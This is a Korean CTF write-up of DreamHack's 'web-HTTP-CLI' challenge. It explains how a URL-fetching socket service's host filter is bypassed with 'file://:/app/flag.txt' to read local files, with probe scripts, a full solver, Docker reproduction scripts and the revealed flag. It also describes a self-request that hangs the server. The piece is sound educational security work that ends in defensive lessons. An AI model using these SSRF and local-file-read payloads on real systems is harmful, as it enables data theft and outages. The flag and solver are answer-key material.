문제: DreamHack — web-HTTP-CLI 분류: web 난이도: 🥈 Silver 2 FLAG:
DH{5e2c73de0f2b273731665914bfaff022}
문제 설명은 두 줄이다. "HTTP-CLI 서비스 입니다. 플래그를 획득하세요. 플래그는 /app/flag.txt에 있습니다."
플래그 위치를 대놓고 알려준다. 그러니까 이 문제는 "무엇을 읽을까"가 아니라 "어떻게 그 경로를 읽게 만들까"다.

제공되는 파일은 app.py 하나, 1,266바이트다. 웹 문제인데 프레임워크도 템플릿도 없다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | web-HTTP-CLI |
| 난이도 | 🥈 Silver 2 |
| 분류 | web |
| 스택 | Python 3 표준 라이브러리만 (socket + urllib.request) |
| 제공 파일 | app.py 43줄 (1,266 B) |
| 공격 표면 | 소켓으로 한 줄씩 받는 URL 문자열 |
| 핵심 취약점 | 스킴 검사 부재 + netloc 언패킹으로 빈 호스트를 만들어 file:// 통과 |
풀이 흐름은 세 문장이면 끝난다.
서비스는 내가 준 URL 을 urllib.request.urlopen 에 그대로 넘긴다. 스킴을 검사하지 않으니 file:// 을 넣을 수 있다.
문제는 그 앞의 호스트 검사인데, 검사 자체보다 검사 직전의 튜플 언패킹이 훨씬 촘촘한 그물이다.
그 그물을 통과하면서 호스트를 빈 문자열로 만드는 표기가 딱 하나 있다.
🧩 배경 — 이건 웹 서버가 아니다
문제 분류는 web 인데, 인스턴스를 켜고 브라우저로 붙으면 아무것도 안 나온다.

ERR_INVALID_HTTP_RESPONSE. 연결은 되는데 응답이 HTTP 가 아니다.
(위 캡쳐는 라이브 인스턴스가 아니라 뒤에서 만들 로컬 재현 컨테이너다. 같은 app.py 가 돌기 때문에 응답도 같다. 라이브 인스턴스는 캡쳐 도중 만료돼서 접속 거부 화면이 나오는데, 그건 "HTTP 가 아니다"의 증거가 아니라 "서버가 없다"의 증거라 쓰지 않았다.)
이 서비스는 HTTP 를 말하지 않는다. 접속하면 배너를 던지고 > 프롬프트를 내는 라인 기반 TCP 서비스다. netcat 으로 붙어 보면 바로 보인다.
timeout 5 nc host3.dreamhack.games 10979![클릭하여 확대 netcat 으로 라이브 서비스에 접속한 터미널. "[ HTTP-CLI ]" 배너와 "Input Example: > https://dreamhack.io:443/" 그리고 프롬프트가 찍혔다.](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-web-http-cli-writeup%2F04_banner_nc.png&w=3840&q=75)
배너가 입력 형식까지 알려준다. https://dreamhack.io:443/ 처럼 스킴·호스트·포트가 다 붙은 URL 을 한 줄 넣으라는 것이다.
여기서 하나 짚고 넘어갈 게 있다. 배포된 app.py 는 [Input Example] 과 예시를 두 줄로 나눠 보내는데, 실제 라이브 인스턴스는 [ HTTP-CLI ] 라는 제목을 먼저 내고 예시를 한 줄로 붙여 보낸다. 배포본과 배포 서버가 완전히 같은 파일은 아니다. 로직은 같지만 문구가 다르다는 것만 기억하고 넘어가면 된다.
🔬 코드 정찰 — 43줄
배포본 전체를 그대로 본다.
cat -n extracted/app.py
핵심만 옮기면 이렇다.
def get_host_port(url):
return url.split('://')[1].split('/')[0].lower().split(':')
...
url = cs.recv(1024).decode().strip()
if len(url) == 0:
break
try:
(host, port) = get_host_port(url)
if 'localhost' == host:
cs.sendall('cant use localhost\n'.encode())
continue
if 'dreamhack.io' != host:
if '.' in host:
cs.sendall('cant use .\n'.encode())
continue
cs.sendall('result: '.encode() + urllib.request.urlopen(url).read())
except:
cs.sendall('error\n'.encode())세 가지가 눈에 들어온다.
첫째, 스킴 화이트리스트가 없다. urlopen 에 들어가는 건 내가 준 url 원본 그대로다. http/https 만 받겠다는 코드가 어디에도 없다.
둘째, 호스트 검사가 이름 기반이다. dreamhack.io 만 통과시키고, 그 밖에는 점이 들어 있으면 거부한다. IP 를 점 표기로 쓰는 길은 막혀 있다는 뜻이다.
셋째, except: 가 전부를 감싼다. 파싱 실패든 네트워크 실패든 파일 없음이든 전부 error 한 줄로 뭉개진다. 이게 나중에 삽질의 원인이 된다.
참고로 이름으로 허용되는 유일한 호스트는 실제로 살아 있는 사이트다.

서비스에 https://dreamhack.io:443/ 을 넣으면 이 페이지의 HTML 이 그대로 소켓으로 돌아온다. 의도된 정상 동작이다. 우리가 원하는 건 이게 아니라 /app/flag.txt 지만.
app.py 는 시작할 때 open('./flag.txt') 로 파일을 읽어 FLAG 변수에 담아 두는데, 그 변수를 어디서도 쓰지 않는다. 플래그를 꺼내는 경로는 오직 urlopen 뿐이다.
🧱 배경 — urlopen 은 스킴을 가리지 않는다
urllib.request.urlopen 은 이름과 달리 HTTP 전용 함수가 아니다. 공식 문서에도 FTP·file·data URL 을 다룬다고 적혀 있고, 목차에도 FileHandler Objects 와 DataHandler Objects 가 나란히 있다.

즉 urlopen('file:///etc/passwd') 는 예외가 아니라 정상 사용법이다. 기본 opener 에 FileHandler 가 이미 등록돼 있다.
그럼 file:// 뒤에 뭘 쓸 수 있는지가 문제인데, 이건 RFC 8089 가 정해 놓았다.

출처: IETF Datatracker, RFC 8089 (M. Kerwin, 2017)
ABNF 를 보면 file-auth = "localhost" / host 이고, 그 위의 auth-path = [ file-auth ] path-absolute 에서 file-auth 가 대괄호로 감싼 선택 항목이다. 즉 authority 자리를 통째로 비워도 규격상 맞고, 빈 authority 는 localhost 와 같은 의미다. file:///etc/passwd 의 슬래시가 세 개인 이유가 이것이다.
여기서 공격의 윤곽이 잡힌다. 필터는 authority 문자열을 자기 방식으로 쪼개 호스트를 판단하고, urllib 은 같은 문자열을 자기 방식으로 쪼개 호스트를 판단한다. 두 해석이 어긋나는 지점을 찾으면 된다.
🐛 삽질 — 왜 다 error 인가
▶🐛 삽질 1 — 교과서적인 file:// 세 가지가 전부 error 로 죽는다
가장 먼저 넣어 볼 건 정해져 있다. file:///app/flag.txt, file://localhost/app/flag.txt, file://127.0.0.1/app/flag.txt.
셋 다 안 된다. 그런데 돌아오는 메시지가 이상하다. cant use localhost 도 아니고 cant use . 도 아니고 그냥 error 다.
필터 로직만 떼어내 오프라인으로 판정해 보면 이유가 나온다.
#!/usr/bin/env python3
"""app.py 의 호스트 필터만 그대로 떼어내 후보 URL 을 오프라인으로 판정한다."""
def get_host_port(url): # app.py 원본 그대로
return url.split('://')[1].split('/')[0].lower().split(':')
def verdict(url):
try:
(host, port) = get_host_port(url)
except Exception as e:
return "UNPACK-FAIL (%s: %s)" % (type(e).__name__, e)
if 'localhost' == host:
return "BLOCK cant use localhost"
if 'dreamhack.io' != host:
if '.' in host:
return "BLOCK cant use ."
return "PASS host=%r port=%r" % (host, port)
CASES = [
"https://dreamhack.io:443/",
"file:///app/flag.txt",
"file://localhost/app/flag.txt",
"file://127.0.0.1/app/flag.txt",
"file://:/app/flag.txt",
"file://:1/app/flag.txt",
"file://a:1/app/flag.txt",
]
for u in CASES:
print("%-32s -> %s" % (u, verdict(u)))
ValueError: not enough values to unpack (expected 2, got 1).
호스트 검사에 도달하지도 못한 것이다. file:///app/flag.txt 의 netloc 은 빈 문자열이고, ''.split(':') 은 [''] 이라 원소가 하나다. (host, port) 로 받을 수가 없다. file://localhost/... 도 마찬가지로 ['localhost'] 한 개, file://127.0.0.1/... 도 ['127.0.0.1'] 한 개.
localhost 를 막는 코드도, 점을 막는 코드도 한 번도 실행되지 않았다. 전부 그 위에서 죽었다.
실제 서비스에 물어봐도 같은 답이 온다. 한 연결 안에서 여섯 개를 순서대로 밀어 넣는 탐침을 만들었다.
#!/usr/bin/env python3
"""필터가 어떤 URL 을 어떻게 막는지 실제 서버에 물어보는 탐침."""
import socket
import sys
CASES = [
("https://dreamhack.io:443/", "정상 예시 — 화이트리스트 호스트"),
("http://localhost:8000/", "localhost 명시"),
("http://127.0.0.1:8000/", "루프백 IP"),
("file:///app/flag.txt", "교과서적인 file:// 3슬래시"),
("file://localhost/app/flag.txt", "file:// + localhost"),
("file://:/app/flag.txt", "★ netloc 을 콜론 하나로"),
]
def recv_until_prompt(sock, timeout=6.0):
sock.settimeout(timeout)
buf = b""
while True:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk:
break
buf += chunk
if buf.endswith(b"> "):
break
return buf.decode(errors="replace")
def main():
host, port = sys.argv[1], int(sys.argv[2])
with socket.create_connection((host, port), timeout=10) as s:
recv_until_prompt(s) # 배너 + 첫 프롬프트 버리기
for url, why in CASES:
s.sendall((url + "\n").encode())
resp = recv_until_prompt(s)
body = resp.rsplit("> ", 1)[0].strip()
if len(body) > 120:
body = body[:120] + " ...(생략)"
print("%-32s %-26s => %s" % (url, "[" + why + "]", body or "(무응답)"))
s.sendall(b"\n")
if __name__ == "__main__":
main()
http://localhost:8000/ 은 cant use localhost, http://127.0.0.1:8000/ 은 cant use . 로 차단 메시지가 제대로 나온다. 콜론이 하나씩 있어서 언패킹을 통과했기 때문이다.
반면 file:// 세 슬래시 계열은 전부 error. 같은 메시지지만 원인이 완전히 다르다. except: 가 뭉갠 탓에 겉으로는 구분이 안 된다.
여기서 방향이 잡힌다. 막힌 건 file:// 스킴이 아니라 콜론 개수다.
▶🐛 삽질 2 — 콜론만 맞추면 아무 호스트나 되는 건 아니다
콜론이 하나면 언패킹은 통과한다. 그러면 점 없는 호스트 아무거나 붙여도 되는 것 아닌가? file://a:1/app/flag.txt 는 host='a', port='1' 로 필터를 멀쩡히 통과한다.
통과하는데, 파일이 안 열린다. 필터를 지나도 urllib 이 거부한다. 그 경계를 확인하려고 두 번째 탐침을 만들었다.
#!/usr/bin/env python3
"""필터(①②)는 통과하지만 urllib(③)에서 갈리는 netloc 들을 실제로 물어본다."""
import socket
import sys
CASES = [
("file://:/app/flag.txt", "빈 호스트 + 빈 포트"),
("file://:1/app/flag.txt", "빈 호스트 + 포트 1"),
("file://a:1/app/flag.txt", "호스트 'a' (점 없음) + 포트 1"),
("file://0:/app/flag.txt", "호스트 '0' (점 없음)"),
("http://0:8000/", "자기 자신에게 HTTP 로 SSRF"),
]
def recv_until_prompt(sock, timeout=8.0):
sock.settimeout(timeout)
buf = b""
while True:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk:
break
buf += chunk
if buf.endswith(b"> "):
break
return buf.decode(errors="replace")
def main():
host, port = sys.argv[1], int(sys.argv[2])
with socket.create_connection((host, port), timeout=10) as s:
recv_until_prompt(s)
for url, why in CASES:
s.sendall((url + "\n").encode())
body = recv_until_prompt(s).rsplit("> ", 1)[0].strip()
if len(body) > 90:
body = body[:90] + " ...(생략)"
print("%-26s %-30s => %s" % (url, "[" + why + "]", body or "(무응답)"))
s.sendall(b"\n")
if __name__ == "__main__":
main()
빈 호스트만 파일을 연다. a 도 0 도 안 된다. urllib 은 호스트가 비어 있지 않으면 그 이름을 실제로 해석해서 이 머신의 이름 목록에 있는지 확인하고, 아니면 URLError('file not on local host') 를 던진다. 포트를 붙이면 그 확인마저 건너뛰고 바로 실패한다.
마지막 줄도 볼 만하다. http://0:8000/ 은 서비스가 자기 자신에게 HTTP 요청을 보내게 하는 시도인데, 응답이 아예 없다. 이 서버는 싱글 스레드로 accept() 를 도는 구조라, 지금 내 연결을 처리하는 동안에는 새 연결을 받지 못한다. 그런데 urlopen 은 타임아웃 없이 응답을 기다린다. 서로를 기다리며 굳는다.
한 번 이걸 넣으면 그 인스턴스는 그대로 멎는다. 로컬 컨테이너로 확인해서 다행이었지, 라이브 인스턴스에 넣었으면 VM 크레딧 하나를 그냥 날릴 뻔했다.
💣 핵심 — netloc 을 콜론 하나로
이제 조건이 정리된다. 필요한 URL 은 다음 셋을 동시에 만족해야 한다.
- netloc 안에 콜론이 정확히 하나 — 그래야
(host, port)언패킹이 성립한다 - 콜론 앞의 호스트가
localhost가 아니고 점을 포함하지 않을 것 - urllib 입장에서는 그 authority 가 로컬로 읽힐 것
세 조건을 한꺼번에 만족시키는 게 빈 호스트다. netloc 을 : 한 글자로 두면 된다.
file://:/app/flag.txt'://' 로 자른 뒤 첫 슬래시까지가 netloc 이므로 netloc 은 ':' 이고, ':'.split(':') 은 ['', ''] — 원소 두 개다. 언패킹 통과. host 는 빈 문자열이라 localhost 도 아니고 점도 없다. 검사 통과.

남은 건 세 번째 조건, urllib 이 이 authority 를 어떻게 읽느냐다. 이건 추측할 필요 없이 표준 라이브러리에 직접 물어보면 된다.
#!/usr/bin/env python3
"""urllib 이 'file://:' 를 왜 로컬 파일로 받아 주는지 표준 라이브러리에서 직접 확인한다."""
import inspect
import os
import tempfile
import urllib.request
from urllib.request import _splitport, Request
URL = "file://:/etc/hostname"
req = Request(URL)
print("[1] Request(%r)" % URL)
print(" req.type =", repr(req.type))
print(" req.host =", repr(req.host))
print(" req.selector =", repr(req.selector))
print("\n[2] _splitport(req.host) ->", repr(_splitport(req.host)))
print(" 호스트가 빈 문자열로 떨어진다 = urllib 이 '로컬'로 판정하는 조건")
print("\n[3] FileHandler.open_local_file 의 판정 부분")
src = inspect.getsource(urllib.request.FileHandler.open_local_file).splitlines()
for line in src:
if any(k in line for k in ("_splitport", "if not host", "origurl", "addinfourl", "URLError('file")):
print(" ", line.strip())
print("\n[4] 실제로 열리는가")
fd, path = tempfile.mkstemp(prefix="urllib_probe_")
os.write(fd, b"local-file-read-ok\n")
os.close(fd)
try:
body = urllib.request.urlopen("file://:" + path).read()
print(" urlopen('file://:%s').read() = %r" % (path, body))
finally:
os.unlink(path)
네 단계가 그대로 이어진다.
Request('file://:/etc/hostname') 을 만들면 req.host 는 ':', req.selector 는 '/etc/hostname' 이다. 여기서 이미 경로가 authority 와 분리돼 있다.
그다음 _splitport(':') 이 ('', None) 을 돌려준다. 이 함수는 (.*):([0-9]*) 로 매칭하는데, ':' 은 앞이 빈 문자열이고 뒤도 빈 문자열이라 포트가 없는 것으로 보고 호스트만 빈 문자열로 잘라 돌려준다.
그리고 open_local_file 안의 판정이 if not host: 다. 빈 문자열은 거짓이므로 이 가지를 타고 open(localfile, 'rb') 로 직행한다. 원격 호스트인지 확인하는 _safe_gethostbyname 도, URLError('file not on local host') 도 지나치지 않는다.
마지막 줄이 결론이다. 임시 파일을 만들어 file://: 를 앞에 붙여 열었더니 내용이 그대로 나왔다.
정리하면 이렇다. 필터가 보는 host 와 urllib 이 보는 host 는 같은 문자열에서 서로 다른 값을 뽑는다. 필터는 ':' 를 ['', ''] 로 쪼개 "호스트는 빈 문자열, 포트는 빈 문자열"이라고 읽고, urllib 은 ':' 를 "포트 없는 빈 호스트"라고 읽는다. 결론이 우연히 같아 보이지만, 한쪽은 그걸 "안전한 호스트"로, 다른 쪽은 "로컬"로 해석한다. 그 틈이 이 문제의 전부다.
🎯 로컬 검증 — 서버를 켜기 전에
라이브 인스턴스에 붙어서 하나씩 찔러 보고 싶은 유혹이 있지만, 앞의 삽질 2 에서 봤듯 잘못 넣으면 인스턴스가 멎는다. 배포본이 app.py 하나뿐이라 로컬에 그대로 세우는 게 훨씬 빠르다.
Dockerfile 은 세 줄이면 된다. 플래그 경로가 /app/flag.txt 라는 것만 맞춰 준다.
FROM python:3.8-slim
WORKDIR /app
COPY app.py /app/app.py
COPY flag.txt /app/flag.txt
EXPOSE 8000
CMD ["python3", "/app/app.py"]빌드·기동·검증을 한 번에 도는 스크립트를 만들어 뒀다.
#!/usr/bin/env bash
# web-HTTP-CLI 로컬 재현 — 배포된 app.py 를 그대로 컨테이너에 올리고 더미 flag 로 익스를 검증한다.
# 문제 서버(VM)를 켜기 전에 여기서 페이로드를 확정한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
PORT="${PORT:-18777}"
# local/ 은 extracted/app.py + 더미 flag.txt + Dockerfile 세 개뿐이다
cp -f extracted/app.py local/app.py
printf 'DH{dummy_local_flag_for_repro}\n' > local/flag.txt
docker build -q -t webhttpcli-local ./local
docker rm -f webhttpcli-local >/dev/null 2>&1 || true
docker run -d --name webhttpcli-local -p "${PORT}:8000" webhttpcli-local >/dev/null
sleep 2
docker ps --filter name=webhttpcli-local --format 'container: {{.Names}} {{.Status}} {{.Ports}}'
python3 solve.py 127.0.0.1 "$PORT" --path /app/flag.txt
컨테이너가 뜨자마자 페이로드 한 줄로 더미 플래그가 나온다. 여기까지 확인한 뒤에야 라이브 인스턴스를 켰다.
🚀 Full Exploit
solve.py 전문이다. 인자로 호스트와 포트를 받고, --path 로 읽을 파일을 바꿀 수 있다.
#!/usr/bin/env python3
"""web-HTTP-CLI (DreamHack, Silver 2 / web) — solver
app.py 의 호스트 필터는 URL 의 netloc 을 콜론으로 쪼갠 결과가 정확히 2개일 때만
통과한다. 빈 호스트(":") 를 쓰면 host='' 가 되어 'localhost' 도 아니고 '.' 도 없으므로
필터를 그대로 지나간다. 스킴 검사는 아예 없으므로 file:// 를 그대로 쓸 수 있고,
urllib 의 FileHandler 는 host 가 비면 로컬 파일로 열어 준다.
$ python3 solve.py host3.dreamhack.games 12345
$ python3 solve.py 127.0.0.1 18777 --path /app/flag.txt
"""
import argparse
import socket
import sys
PAYLOAD = "file://:{path}"
def read_until_prompt(sock, timeout=5.0):
"""서버가 다음 '> ' 프롬프트를 낼 때까지 읽어 모은 바이트를 돌려준다."""
sock.settimeout(timeout)
buf = b""
while True:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk:
break
buf += chunk
if buf.endswith(b"> "):
break
return buf
def run(host, port, path):
url = PAYLOAD.format(path=path)
with socket.create_connection((host, port), timeout=10) as s:
banner = read_until_prompt(s)
sys.stdout.write("[banner]\n" + banner.decode(errors="replace") + "\n")
sys.stdout.write("[send] %s\n" % url)
s.sendall((url + "\n").encode())
resp = read_until_prompt(s)
text = resp.decode(errors="replace")
sys.stdout.write("[recv] " + text + "\n")
s.sendall(b"\n") # 빈 줄을 보내면 서버가 연결을 닫는다
return text
def main():
ap = argparse.ArgumentParser()
ap.add_argument("host")
ap.add_argument("port", type=int)
ap.add_argument("--path", default="/app/flag.txt")
a = ap.parse_args()
text = run(a.host, a.port, a.path)
for line in text.splitlines():
if "DH{" in line:
flag = line[line.index("DH{"):]
flag = flag[: flag.index("}") + 1]
print("\n[FLAG] " + flag)
return 0
print("\n[!] 플래그 문자열을 못 찾았다")
return 1
if __name__ == "__main__":
sys.exit(main())라이브 인스턴스에 그대로 돌린 결과다.

[send] file://:/app/flag.txt
[recv] result: DH{5e2c73de0f2b273731665914bfaff022}>
[FLAG] DH{5e2c73de0f2b273731665914bfaff022}왕복 한 번이면 끝난다. 로컬에서 확인한 페이로드가 그대로 먹혔다.
재현용 스크립트도 같이 남겨 뒀다. 인자 없이 돌리면 로컬 모드로 컨테이너를 세워 익스 체인만 검증하고, 호스트와 포트를 주면 라이브 모드로 진짜 플래그를 딴다. 로컬 모드가 얻는 건 더미 플래그이므로 출력에 그렇게 명시한다.
#!/usr/bin/env bash
# web-HTTP-CLI (DreamHack Silver 2 / web) — 한 방 재현.
#
# ./reproduce.sh 로컬 모드(기본): Docker 로 배포본을 그대로 띄워
# 익스 체인이 도는지 더미 flag 로 검증한다.
# ./reproduce.sh host3.dreamhack.games P 라이브 모드: 진짜 문제 서버에서 진짜 flag 를 딴다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
DUMMY='DH{dummy_local_flag_for_repro}'
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
if [ "$#" -ge 2 ]; then
MODE="live"; HOST="$1"; PORT="$2"
else
MODE="local"; HOST="127.0.0.1"; PORT="${PORT:-18777}"
./local_repro.sh >/dev/null 2>&1 || true
fi
OUT=$(timeout 120 python3 solve.py "$HOST" "$PORT" --path /app/flag.txt 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ "$MODE" = "local" ]; then
if [ "$FLAG" = "$DUMMY" ]; then
echo; echo "✅ PASS (로컬) 익스 체인 동작 확인 — 얻은 값은 더미 flag 다: $FLAG"
echo " 진짜 flag 는 라이브 모드로만 나온다: ./reproduce.sh <host> <port>"
exit 0
fi
echo; echo "❌ FAIL (로컬) 더미 flag 가 안 나왔다 (얻은 값: '${FLAG:-없음}')"; exit 1
fi
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
echo; echo "✅ PASS (라이브) $FLAG"; exit 0
fi
echo; echo "❌ FAIL (라이브) 얻은 값: '${FLAG:-없음}' / 기대: '${EXPECT:-문제.json 없음}'"; exit 1📝 결론
검사기와 실행기가 같은 문자열을 다르게 파싱하면 그 사이가 취약점이다.
이 문제의 필터는 split 세 번으로 호스트를 뽑고, urllib 은 정규식과 자체 규칙으로 호스트를 뽑는다. 둘 다 "호스트를 구한다"고 말하지만 구현이 다르다. 그러면 두 결과가 어긋나는 입력이 반드시 존재한다.
URL 을 다루는 코드에서 이 어긋남은 특히 자주 나온다. @, #, 백슬래시, 유니코드 정규화, 그리고 여기서 쓴 빈 authority 까지 — 파서마다 해석이 갈리는 지점이 한둘이 아니다. 직접 문자열을 쪼개 검사하지 말고, 실제로 요청을 보낼 그 라이브러리의 파서로 파싱한 결과를 검사해야 한다. 파이썬이면 urllib.parse.urlsplit 의 hostname 을 쓰는 식이다.
스킴 화이트리스트가 없으면 호스트 검사는 의미가 없다.
호스트를 아무리 촘촘히 막아도 file:// 한 줄이면 호스트 개념 자체가 우회된다. data:, ftp:, 환경에 따라서는 gopher: 까지 열려 있을 수 있다. 외부 URL 을 받아 대신 요청해 주는 기능이라면 허용할 스킴을 먼저 못 박는 게 순서다. http/https 외에는 파싱 단계에서 거절해야 한다.
except: 한 줄이 디버깅을 막고, 방어도 막는다.
이 코드의 except: 는 파싱 오류·네트워크 오류·파일 없음을 전부 error 로 뭉갰다. 공격자 입장에서는 오히려 정보가 줄어 헷갈리지만, 운영자 입장에서는 무엇이 시도됐는지 로그가 하나도 남지 않는다. 여기서는 그게 방어의 공백이다. 예외는 종류별로 잡고, 최소한 서버 쪽에는 남겨야 한다.
IP 를 점 표기로만 막는 필터는 언제나 뚫린다.
'.' in host 는 127.0.0.1 을 막지만 0, 127.1, 2130706433, [::1] 은 그대로 통과시킨다. 이 문제에서는 마침 urllib 의 file:// 처리가 빈 호스트만 받아 줘서 다른 표기가 안 먹혔을 뿐이고, 대상이 HTTP 였다면 정수 표기 한 방에 SSRF 가 성립했을 것이다. 루프백 차단은 문자열이 아니라 해석된 주소로 판단해야 한다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…